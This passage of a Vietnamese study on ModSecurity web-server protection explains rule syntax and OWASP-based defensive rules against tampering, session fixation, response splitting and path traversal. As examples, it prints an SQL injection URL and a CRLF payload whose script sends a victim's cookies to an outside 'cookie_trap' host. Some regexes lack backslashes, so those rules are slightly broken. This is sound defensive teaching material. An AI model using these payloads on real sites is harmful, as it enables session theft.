Tuy ModSecurity không hỗ trợ các từ khóa if-then-else trong cấu trúc rule, nhưng bạn vẫn
có thể thực hiện cấu trúc kiểm tra điều kiện thông qua ví dụ bên dưới:
SecRule ARGS K1 id:1,nolog,pass,skip:2
SecRule ARGS K2 id:2,block
SecAction nolog,pass,skip:1
SecRule ARGS K3 id:3,block
SecRule đầu tiên sẽ quyết định một rule được thực hiện bên dưới. Nếu trong rule 1 trùng
mẫu, thì hành vi skip được thực hiện và chuyển đến thực hiện rule 3. Tuy nhiên, nếu rule 1
không trùng mẫu thì rule 2 sẽ được thực hiện và SecAction sẽ được thực hiện sau đó. Cấu trúc
rẽ nhánh này đảm bảo ruel 3 sẽ không thực thi nếu rule 1 không trùng mẫu dữ liệu.

38
Capturing Data
Các biến trong nhóm TX được phân biệt bởi giá trị từ 0 đến 9. Những biến này được dùng
trong việc thu thập dữ liệu đầu vào. Để sử dụng chức năng thu thập dữ liệu, bạn cần chú ý hai
điều sau:
Sử dụng dấu ngoặc đơn () trong trường hợp dùng các biểu thức so sánh, việc này giúp
ModSecurity xác định vị trí dữ liệu cần thu thập.
Sử dụng hành vi carpture trong rule, nơi mà bạn muốn thu thập dữ liệu.
Giả sử trong ứng dụng web có sử dụng việc chèn một mã xác định phiên làm việc (session)
vào URI như bên dưới:
http://www.modsec.com/69d032331009e7b0/index.html
Yêu cầu đặt ra là bạn cần xác định giá trị 69d032331009e7b0 trong URI để phục vụ việc
kiểm tra session người dùng. Tham khảo biểu thức so sánh trong rule sau:
# Initialize session state from the session identifier in URI
SecRule REQUEST_URI ^/([0-9a-fA-f]{16})/phase:1,nolog,pass,capture,setsid:%{TX.1}
Phân tích biểu thức ^/([0-9a-fA-f]{16})/ ta có:
Biểu thức Ý nghĩa biểu thức Giá trị TX
^/ Xác định vị trí thu thập dữ liệu, bắt
đầu bằng ký tự “/”.
TX.0 =
/69d032331009e7b0/
([0-9a-fA-f]{16}) Nội dung SessionID là một chuỗi bao
gồm 16 ký tự số, chữ thường, chữ hoa
(biểu thức phải được đặt trong dấu
ngoặc đơn).
TX.1 =
69d032331009e7b0
/ Vị trí kết thúc biểu thức.
Dưới dây là log audit quá trình ModSecurity thực hiện phân tích biểu thức:
[4] Recipe: Invoking rule 15b6610; [file
"/opt/modsecurity/etc/crs/activated_rules/carpturedata.conf"] [line "1"] [id "10000"].
[5] Rule 15b6610: SecRule "REQUEST_URI" "@rx ^/([0-9a-fA-f]{16})/"
"phase:1,auditlog,id:10000,nolog,pass,capture,setsid:%{TX.1}"
[4] Transformation completed in 7 usec.
[4] Executing operator "rx" with param "^/([0-9a-fA-f]{16})/" against REQUEST_URI.
[9] Target value: "/69d032331009e7b0/index.html"
[9] Added regex subexpression to TX.0: /69d032331009e7b0/
[9] Added regex subexpression to TX.1: 69d032331009e7b0
[4] Operator completed in 58 usec.
[9] Resolved macro %{TX.1} to: 69d032331009e7b0

39
Variable Manipulation
Hầu hết các dữ liệu mà ModSecurity phân tích sẽ được thao tác ở chế độ chỉ đọc (dữ liệu
tĩnh hoặc không thay đổi). Tuy nhiên, ModSecurity cũng hỗ trợ việc tạo ra các biến có giá trị
thay đổi nhằm phục vụ một số mục đích cụ thể.
Ta có thể tạo ra một biến bằng cách sử dụng hành vi setvar:
SecAction nolog,pass,setvar:tx.score=1 #giá trị của biến tx.score là 1.
SecAction nolog,pass,setvar:!tx.score #xóa giá trị biến tx.score.
SecAction nolog,pass,setvar:tx.score=+2 #giá trị tx.score sẽ tăng 2 mỗi khi thực hiện
action.
SecAction nolog,pass,setvar:tx.score=-1 #giá trị tx.score sẽ giảm mỗi khi thực hiện
action.
Metadata
Metadata được dùng trong rule với mục đích hiển thị thông tin chi tiết về cảnh báo mà rule
tạo ra. Các thông tin này không gây ảnh hưởng đến quá trình phân tích dữ liệu. Tuy nhiên,
metadata sẽ hỗ trợ bạn dễ dàng quản lý các cảnh báo trong quá trình phân tích log, giúp xác
định nhanh chóng nguyên nhân và cách phòng tránh các khai thác vào web server.
Tôi sẽ băt đầu với rule đơn giản như sau:
SecRule REQUEST_METHOD "!^(GET|HEAD)$"
Id:10001,phase:1,t:none,log,block
Với các tham số như trên, thì rule 10001 vẫn hoạt động ổn định khi trùng mẫu. Tuy nhiên,
dữ liệu sau khi phân tích không cung cấp đủ thông tin chi tiết về thông tin kỹ thuật, các hướng
dẫn xử lý v.v…
[22/Jun/2013:01:21:57 +0700] [www.modsec.com/sid#139efb0][rid#1606370][/][2]
Warning. Match of "rx ^(GET|HEAD)$" against "REQUEST_METHOD" required. [file
"/opt/modsecurity/etc/crs/activated_rules/addingMetadata.conf"] [line "1"] [id "10001"]
Để rule 10001 được mô tả tốt hơn về thông báo lỗi, tôi sẽ tùy biến rule lại như sau:
SecRule REQUEST_METHOD "!^(GET|HEAD)$"
"phase:1,t:none,log,block,id:1001,rev:2,
severity:WARNING,msg:'Request method is not allowed'"
Trong thông báo log, ta có thể ghi nhận thay đổi:
[22/Jun/2013:01:28:19 +0700] [www.modsec.com/sid#17f1fb0][rid#1a59350][/][2]
Warning. Match of "rx ^(GET|HEAD)$" against "REQUEST_METHOD" required. [file
"/opt/modsecurity/etc/crs/activated_rules/addingMetadata.conf"] [line "3"] [id "10001"] [rev
"2"] [msg "Request method is not allowed"] [severity "EMERGENCY"]
#rev: xác định phiên bản thay đổi của rule

40
#msg: dữ liệu mô tả về rule
#severity: thông báo mức độ nguy hiểm khi có cuộc tấn công vào hệ thống web (mức độ
nguy hiểm nhất là EMERGENCY (1) và ít nguy hiểm nhất là DEBUG (7).
XI. PHÂN TÍCH CÁC RULE ỨNG DỤNG THỰC TẾ
Trường hợp 1: Chống tấn công Replay attack thông qua cơ chế đánh token ngẫu nhiên.
Tham khảoDANH MỤC LỖ HỔNG BẢO MẬT OWASP 2010: Replay Testing (OWASP-
WS-007)
Trong phần này, tôi sẽ phân tích trường hợp hạn chế việc khai thác vào các form html. Việc
sử dụng phương thức POST để nhận dữ liệu từ phía người dùng thường tạo ra nguy cơ gói tin
bị thay đổi trên đường truyền, nhầm thực hiện thêm/bớt dữ liệu phục vụ cho từng loại tấn công
khác nhau.
Để thực hiện chống lại phương pháp tấn công này, ta cần tham khảo các chỉ thị mà
ModSecurity hỗ trợ:
• SecDisableBackendCompression
• SecContentInjeciton
• SecStreamOutBodyInspection
• SecHashEngine
• SecHashKey
• SecHashParam
• SecHashMethodRx
Phương pháp này sẽ cho phép chèn một token kiểm tra vào dữ liệu HTML khi web server
(Apache) trả kết quả về phía người dùng. Bằng cách sử dụng hàm băm trên các tham số
trong phần thân HTML, ModSecurity sẽ chống lại việc chỉnh sửa thông tin trên kênh
truyền. Bên dưới là các rule và các chỉ thị hỗ trợ:
#vi /opt/modsecurity/etc/crs/activated_rules/case1_PreventDataManipulation.conf
SecContentInjection On
SecStreamOutBodyInspection On
SecHashEngine On
SecHashKey rand keyOnly
SecHashParam rv_token
SecHashMethodrx "HashHref" "[a-zA-Z0-9]"
SecRule REQUEST_URI "@validateHash [a-zA-Z0-9]"
"phase:2,id:1000,t:none,block,msg:'Request Validation Violation.',ctl:HashEnforcement=On"

41
Chỉ thị đầu tiên SecDisableBackendCompression chỉ được sử dụng trong trường hợp
ModSecurity được triển khai như một reverse proxy. Dữ liệu trả về người dùng sẽ được nén
bằng thuật toán gzip nhằm giảm lưu lượng băng thông. Các chỉ thị SecEncryption tiếp theo
nhằm thông báo cho ModSecurity tạo ra chuỗi giá trị băm (hash value) ngẫu nhiên dựa trên
hash salt value và thành tố href trong phần thân HTML (xác định dựa trên mẫu đã được định
nghĩa regular expression).
Hình 6: Các liên kết trước khi thực hiện tạo token

42
Hình 7: Các liên kết sau khi thực hiện tạo token
Ta có thể theo dõi quá trình làm việc của ModSecurity bằng cách theo dõi debug log:
[05/Jun/2013:17:25:51 +0700]
[www.modsec.com/sid#25bffb0][rid#27fe1d0][/index.php][4] Signing data [xmlrpc.php?rsd]
[05/Jun/2013:17:25:51 +0700]
[www.modsec.com/sid#25bffb0][rid#27fe1d0][/index.php][4] Signing data [wp-
content/themes/mog/main.css?ver=3.5.1]
[05/Jun/2013:17:25:51 +0700]
[www.modsec.com/sid#25bffb0][rid#27fe1d0][/index.php][4] Signing data [wp-
content/themes/mog/style.css?ver=3.5.1]
[05/Jun/2013:17:25:51 +0700]
[www.modsec.com/sid#25bffb0][rid#27fe1d0][/index.php][4] Signing data
[css?family=Josefin+Slab%3A600&ver=3.5.1]
[05/Jun/2013:17:25:51 +0700]
[www.modsec.com/sid#25bffb0][rid#27fe1d0][/index.php][4] Signing data
[css?family=Open+Sans&ver=3.5.1]
[05/Jun/2013:17:25:51 +0700]
[www.modsec.com/sid#25bffb0][rid#27fe1d0][/index.php][4] Signing data [xmlrpc.php]
[05/Jun/2013:17:25:51 +0700]
[www.modsec.com/sid#25bffb0][rid#27fe1d0][/index.php][4] Signing data [xfn/11]
Kiểm tra trong trường hợp các token trong URL cố tình bị loại bỏ tại phía người dùng, trong
trường hợp này kẻ tấn công thực hiện khai thác SQL Injection:
Trường
hợp
URL

43
Token hợp
lệ
http://www.modsec.com/2013/05/owasp-top-10-tools-and-
tactics/?rv_token=f3f6de81f7e3014ff6c4c6affce95caaca29e75e
Không có
token
http://www.modsec.com/2013/05/owasp-top-10-tools-and-
tactics/%20and%20union%20select%201,2,3,4,5,6
Trong trường hợp hacker cố tình loại bỏ token để chèn khai thác vào URL thì rule có id 1000
sẽ được so trùng và tạo cảnh báo tại audit_log.
[Wed Jun 05 18:12:16 2013] [error] [client 192.168.149.1] ModSecurity: Access allowed
(phase 2). Request URI matched "[a-zA-Z0-9]" at REQUEST_URI. No Hash parameter [file
"/opt/modsecurity/etc/crs/activated_rules/case1_PreventDataManipulation.conf"] [line "7"]
[id "1000"] [msg "Request Validation Violation."] [hostname "www.modsec.com"] [uri
"/2013/05/owasp-top-10-tools-and-tactics/ and union select 1,2,3,4,5,6"] [unique_id
"Ua8dEH8AAAEAAAyJBzMAAAAE"]
Trường hợp 2: Phát hiện các Session cookie không hợp lệ
Tham khảo DANH MỤC LỖ HỔNG BẢO MẬT OWASP 2010: Testing for Session
Fixation (OWASP-SM-003)
Trong trường hợp này, tôi sẽ phân tích trường hợp hacker cố gắng tự tạo Seesion Cookie để
khai thác theo phương pháp Session Fixation.
Một số thành phần tham khảo:
OWASP ModSecurity CRS
o modsecurity_crs_40_appsensor_detection_point_2.3_session_exception.c
onf
ModSecurity
o RESPONSE_HEADERS: Set-Cookie variable
o REQUEST_HEADERS: Cookie variable
o setsid action
o setvar action
Tấn công khai thác Session (session-guessing attack) là một dạng tấn công khá phổ biến
nhằm vào cookie_session trong ứng dụng web. Đối với những ứng dụng web thường dùng
cookie để xác thực (authentication), phân quyền (authorization) thì việc đoán trước giá trị
cookie sẽ cho phép hacker chiếm quyền phiên làm việc của một người dùng khác đã đăng nhập.
Trong ví dụ này, tôi sử dụng công cụ BurpSuite để phân tích phiên làm việc (SessionID) và
thống kê tính ngẫu nhiên của cookie do ứng dụng web tạo ra.
Đối tợng được kiểm tra: http://demo.testfire.net/

44
Hình 8: BurpSuite Sequencer module
Trong phần cấu hình Sequencer, BurpSuite phát hiện trường amSessionId dùng để định danh
người dùng truy cập vào hệ thống ứng dụng web. Ta tiến hành phân tích bằng cách thực thi
chức năng “start carpture”.
Sau khi phân tích 1090 Session Cookie ta được kết quả phân tích như sau:

45
Hình 9: Cookie đã thu thập

46
Hình 10: Kết quả thống kê
Theo kết quả thống kê ta thấy rằng tính ngẫu nhiên của các cookie là không cao. Theo đồ thị
thì các giá trị tại vị trí thứ 0,1,5,6 là không biến đổi, các vị trí còn lại có biến đổi nhưng tỉ lệ
thay đổ là không cao. Bằng cách này, hacker có thể ước lượng được cookie của một người dùng
khác đang login vào hệ thống. Bằng phép thử ngẫu nhiên, hacker sẽ nhận được 1 trong 2 trường
hợp sau:
Cookie đúng: hacker đăng nhập được vào trang quản trị người dùng.
Cookie sai: hacker được chuyển hướng sang trang yêu cầu đăng nhập.
Do phương pháp khai thác này là không khó, nhưng có thể tạo nên nguy cơ vượt qua cơ chế
xác thực người dùng, leo thang đặc quyền trong phần quản trị…
ModSecurity CRS hỗ trợ chống lại việc giả mạo session_cookie:
SecRule RESPONSE_HEADERS:/Set-Cookie2?/
"(?i:(wordpresspass_.*?|j?sessionid|(php)?sessid|(asp|jserv|jw)?session[-
_]?(id)?|cf(id|token)|sid)=([^s]+);s?)"
"chain,phase:3,id:'981062',t:none,pass,nolog,capture,setsid:%{TX.6},setvar:session.sessionid=
%{TX.6},setvar:session.valid=1,expirevar:session.valid=3600,setvar:session.country_name=%
{geo.country_name}"
SecRule UNIQUE_ID "(.*)"
"chain,t:none,t:sha1,t:hexEncode,capture,setvar:session.csrf_token=%{TX.1}"

47
SecRule REMOTE_ADDR "^(d{1,3}.d{1,3}.d{1,3}.)"
"chain,capture,setvar:session.ip_block=%{tx.1}"
SecRule REQUEST_HEADERS:User-Agent ".*"
"t:none,t:sha1,t:hexEncode,setvar:session.ua=%{matched_var}"
Theo mặc định, thì rule 981062 sẽ tìm những tên cookie phổ biến như:
WORDPRESSPASS
SESSIONID
JSESSIONID
SESSID
PHPSESSID
SESSION
SESSION_ID
SESSION-ID
ASPSESSION
JSERVSESSION
JWSESSION
CFID
CFTOKEN
CFSID
Trong trường hợp ứng dụng của bạn sử dụng một tên cookie khác với danh sách trên, thì ta
có thể dễ dàng định danh thêm giá trị cho rule 981062. Đối với webiste http://demo.testfire.net/
sử dụng tên cookie là amSessionId, ta có thể chỉnh sửa cho phù hợp như sau:
SecRule RESPONSE_HEADERS:/Set-Cookie2?/
"(?i:(wordpresspass_.*?|j?sessionid|(php)?sessid|(asp|jserv|jw|am)?session[-
_]?(id)?|cf(id|token)|sid)=([^s]+);s?)"
"chain,phase:3,id:'981062',t:none,pass,nolog,capture,setsid:%{TX.6},setvar:session.sessionid=
%{TX.6},setvar:session.valid=1,expirevar:session.valid=3600,setvar:session.country_name=%
{geo.country_name}"
SecRule UNIQUE_ID "(.*)"
"chain,t:none,t:sha1,t:hexEncode,capture,setvar:session.csrf_token=%{TX.1}"
SecRule REMOTE_ADDR "^(d{1,3}.d{1,3}.d{1,3}.)"
"chain,capture,setvar:session.ip_block=%{tx.1}"
SecRule REQUEST_HEADERS:User-Agent ".*"
"t:none,t:sha1,t:hexEncode,setvar:session.ua=%{matched_var}"
Sau khi đã định danh được session_cookie do ứng dụng web tạo ra, ModSecurity sẽ tạo ra
thêm một cookie mới gởi đến người dùng, đồng thời cookie này cũng được lưu trữ tại server để
bảo đảm không có trường hợp hacker sử dụng cookie giả để login vào hệ thống. Tham khảo
rule tạo cookie mới như bên dưới:
# -=[ SE2: Adding New Cookie ]=-
#

48
# -
https://www.owasp.org/index.php/AppSensor_DetectionPoints#SE2:_Adding_New_Cookie
#
# These rules will validate that the SessionID being submitted by the client is valid
#
SecRule
REQUEST_COOKIES:'/(wordpresspass_|j?sessionid|(php)?sessid|(asp|jserv|jw|am)?session[-
_]?(id)?|cf(id|token)|sid)/' ".*" "chain,phase:1,id:'981054',t:none,block,msg:'Invalid SessionID
Submitted.',logdata:'SessionID Submitted:
%{tx.sessionid}',tag:'OWASP_AppSensor/SE2',setsid:%{matched_var},setvar:tx.sessionid=%{
session.key},skipAfter:END_SE_PROFILE_ENFORCEMENT"
SecRule &SESSION:VALID "!@eq 1"
"setvar:!session.KEY,t:none,setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},setvar:tx
.%{rule.id}-WEB_ATTACK/INVALID_SESSIONID-%{matched_var_name}=%{tx.0}"
Trong rule 981054, hành động (Action) setsid sử dụng giá trị amSessionId để làm giá trị lưu
trữ tại server như một thẻ định danh (indentify token). Sau đó, chuỗi kiểm tra quy tắc luận lý sẽ
xác định cookie trước đó có phù hợp hay không và trả kết quả vào biến valid. Giả sử trường
hợp hacker đưa vào một cookie không có thật, thì rule này sẽ thực hiện việc cảnh báo cho quản
trị hệ thống về nguy cơ khai thác session-guesting.
Trường hợp 3: Phòng chống phương pháp khai thác HTTP Reponse Spliting
Tham khảo DANH MỤC LỖ HỔNG BẢO MẬT OWASP 2010: Testing for HTTP
Splitting/Smuggling (OWASP-DV-016)
Các thành phần tham khảo
o Modsecurity_Crs_40generic_attacks.conf
ModSecurity
o REQUEST_URI variable
o REQUEST_BODY variable
o REQUEST_HEADERS variable
o XML variable
o @rx operator
Phương thức khai thác này thực hiện bằng cách chèn dữ liệu hoặc HTTP request giả vào một
HTTP header khác. Việc này dẫn đến kết quả tại phía người dùng sẽ nhận 2 phần dữ liệu khác
nhau trong cùng 1 trang HTML, là tiền đề cho các khai thác Cross-user defacement, Cache
Poisioning, XSS, Page Hijacking.
Dưới đây là một ví dụ trong mã nguồn PHP:
<?php
header (“Location: /lang_page.php?lang=”.$_GET[„language‟]);
?>

49
REQUEST GET /index.php?language=english HTTP/1.1
RESPONSE HTTP/1.1 302 Found
Location: /lang_page.php?lang=english
Nếu tại phía người dùng, hacker cố tình chèn ký tự Carriage Return (CR) hoặc Linefeed
(LF) vào các tham số trong URL, thì dẫn đến kết quả gói tin tại phía người dùng bị tái cấu trúc
theo mục đích của hacker.
Trong bảng dưới đây mô tả dạng tấn công DOM XSS bằng cách chèn đoạn HTML vào phía
người dùng cuối, tuy nhiên việc tạo một gói tin chèn vào phía người dùng là khá phức tạp.
GET /index.php?language=english
Cotent-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 171
<html><body%20onload='document.location.replace%20("http://www.swpag.info/cookie_tr
ap/"%252b%20document.cookie%252b"/URL/"%252bdocument.location);'></body></html>
HTTP/1.1
Bằng cách sử dụng ký tự %0d và/hoặc %0a thì ta có thể chuyển toàn bộ gói tin trên thành
một URL duy nhất:
GET /index.php?language=english%0aCotent-
Length:%200%0a%0aHTTP/1.1%20200%20OK%0aContent-Type:%20text/html%0aContent-
Length%20171:%0a%0a<html><body%20onload='document.location.replace%20("http://ww
w.swpag.info/cookie_trap/"%252b%20document.cookie%252b"/URL/"%252bdocument.locati
on);'></body></html> HTTP/1.1
Để phòng chống lại dạng tấn công HTTP Reponse spliting, ta có thể sử dụng rule như sau:
# HTTP Response Splitting
#
# -=[ Rule Logic ]=-
# These rules look for Carriage Return (CR) %0d and Linefeed (LF) %0a characters.
# These characters may cause problems if the data is returned in a respones header and
# may be interpreted by an intermediary proxy server and treated as two separate
# responses.
#
# -=[ References ]=-
# http://projects.webappsec.org/HTTP-Response-Splitting
#
SecRule
REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|AR

50
GS_NAMES|ARGS|XML:/* "[nr](?:content-(type|length)|set-cookie|location):"
"phase:2,rev:'2',ver:'OWASP_CRS/2.2.6',maturity:'9',accuracy:'9',t:none,t:lowercase,capture,ctl:
auditLogParts=+E,block,msg:'HTTP Response Splitting Attack',id:'950910',logdata:'Matched
Data: %{TX.0} found within %{MATCHED_VAR_NAME}:
%{MATCHED_VAR}',severity:'2',setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+%{
tx.critical_anomaly_score},setvar:tx.%{rule.id}-
OWASP_CRS/WEB_ATTACK/RESPONSE_SPLITTING-%{matched_var_name}=%{tx.0}"
SecRule
REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|AR
GS_NAMES|ARGS|XML:/* "(?:bhttp/(?:0.9|1.[01])|<(?:html|meta)b)"
"phase:2,rev:'2',ver:'OWASP_CRS/2.2.6',maturity:'9',accuracy:'9',capture,t:none,t:htmlEntityDe
code,t:lowercase,ctl:auditLogParts=+E,block,msg:'HTTP Response Splitting
Attack',id:'950911',logdata:'Matched Data: %{TX.0} found within
%{MATCHED_VAR_NAME}:
%{MATCHED_VAR}',severity:'2',setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+%{
tx.critical_anomaly_score},setvar:tx.%{rule.id}-
OWASP_CRS/WEB_ATTACK/RESPONSE_SPLITTING-%{matched_var_name}=%{tx.0}"
Trường hợp 4: Phòng chống phương pháp khai thác Path-Traversal
Tham khảo DANH MỤC LỖ HỔNG BẢO MẬT OWASP 2010: Testing for Path Traversal
(OWASP-AZ-001)
Các thành phần tham khảo:
o modsecurity_crs_42_tight_security.conf
ModSecurity
o REQUEST_URI variable
o REQUEST_BODY variable
o REQUEST_HEADERS variable
o XML variable
Path traversal là một phương pháp khai thác dựa vào thao tác trên URL nhằm truy cập bất
hợp pháp vào các tập tin tại server. Hầu hết các nguyên nhân gây lỗi là do phía mã nguồn web
cho phép đọc dữ liệu từ một tập tin khác, bằng cách thay đổi giá trị đường dẫn trong chức năng
đọc tập tin ta có thể vượt quyền truy cập sang các thư mục chứa dữ liệu khác. Đặc trưng của
phương pháp khai thác này là sử dụng chuỗi ký tự phân cách cấu trúc thư mục, bao gồm ký tự
(/ hoặc ) và/hoặc . (dấu chấm) để chỉ định đường dẫn trực tiếp đến tập tin cần khai thác.(Trích
CAPEC-126: Path Traversalhttp://capec.mitre.org/data/definitions/126.html)

Nghiên cứu ứng dụng mod security để bảo vệ web server

Nghiên cứu ứng dụng mod security để bảo vệ web server

Recommended

Recommended

More Related Content

What's hot

What's hot (20)

Similar to Nghiên cứu ứng dụng mod security để bảo vệ web server

Similar to Nghiên cứu ứng dụng mod security để bảo vệ web server (20)

Nghiên cứu ứng dụng mod security để bảo vệ web server